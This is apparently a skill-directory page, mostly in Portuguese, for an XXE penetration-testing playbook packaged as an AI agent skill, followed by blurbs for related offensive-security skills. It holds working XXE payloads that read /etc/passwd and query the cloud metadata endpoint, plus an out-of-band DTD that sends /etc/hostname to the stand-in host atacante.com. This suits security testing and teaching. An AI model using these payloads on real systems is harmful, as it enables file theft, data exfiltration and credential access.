yaklang/xxe-xml-external-entity

Playbook de XXE. Use quando XML, SVG, OOXML, SOAP ou importações orientadas por parser possam resolver entidades externas, arquivos ou recursos internos de rede.

O que é xxe-xml-external-entity?

Este skill fornece um playbook abrangente para testar e explorar vulnerabilidades de Injeção de Entidade Externa XML (XXE). Ele é projetado para auxiliar desenvolvedores e profissionais de segurança a identificar pontos fracos em aplicações que processam documentos XML, SVG, OOXML, SOAP ou qualquer formato que utilize parsers XML para importação de dados. O playbook abrange desde testes básicos de injeção de entidade até técnicas avançadas como XXE cego, exfiltração de dados via canais externos (HTTP/DNS) e exploração de parsers específicos. Inclui exemplos práticos de payloads, comandos e configurações para ferramentas populares como Burp Suite, curl e netcat. O skill é útil tanto para testes de penetração quanto para revisões de código, ajudando a validar se a aplicação resolve entidades externas e, em caso afirmativo, a extensão do impacto (leitura de arquivos, SSRF, negação de serviço).

Funciona com~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/xxe-xml-external-entity

Installed? Explore more Programação e Desenvolvimento skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

Perguntar na sua IA favorita

Abre um novo chat com esta habilidade de agente já pré-carregada.

Documentação

O que xxe-xml-external-entity faz?

Playbook de XXE. Use quando XML, SVG, OOXML, SOAP ou importações orientadas por parser possam resolver entidades externas, arquivos ou recursos internos de rede.

Visão Geral

Este playbook cobre a identificação e exploração de vulnerabilidades de Injeção de Entidade Externa XML (XXE). XXE ocorre quando um parser XML mal configurado processa entidades externas referenciadas em um documento XML, permitindo que um atacante leia arquivos locais, realize ataques de Server-Side Request Forgery (SSRF), ou cause negação de serviço.

Pré-requisitos

  • Conhecimento básico de XML e parsers XML.
  • Ferramentas: curl, netcat, Burp Suite (ou similar), xxe-script.
  • Ambiente de teste isolado (ex: máquina virtual ou Docker).

Técnicas Abordadas

  1. XXE Básico: Injeção de entidade para leitura de arquivos.
  2. XXE Cego (Out-of-Band): Exfiltração de dados usando canais HTTP, DNS ou FTP.
  3. XXE com SSRF: Exploração de parsers para acessar recursos internos.
  4. XXE em SVG: Injeção em arquivos SVG suportados por navegadores ou visualizadores.
  5. XXE em OOXML: Injeção em documentos Office Open XML (Word, Excel, PowerPoint).
  6. XXE em SOAP: Exploração de serviços web que usam SOAP XML.

Exemplos de Payloads

Leitura de Arquivo (In-Band)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

XXE Cego com Exfiltração HTTP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY % xxe SYSTEM "http://atacante.com/coleta.dtd">
  %xxe;
]>
<root>&send;</root>

Arquivo coleta.dtd:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; send SYSTEM 'http://atacante.com/coleta?host=%file;'>">
%eval;

SSRF via XXE

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ELEMENT foo ANY>
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

Detecção e Prevenção

  • Desabilitar entidades externas no parser (ex: libxml_disable_entity_loader(true) no PHP).
  • Usar DTDs seguras ou validar entrada XML contra um esquema.
  • Configurar parsers para não resolver entidades externas.

Ferramentas Úteis

  • curl ou wget para enviar payloads.
  • netcat para capturar requisições de exfiltração.
  • Burp Suite para interceptar e modificar tráfego.
  • xxe-script (Python) para automatizar testes.

Recursos

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-acl-abuse

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

Habilidades Relacionadas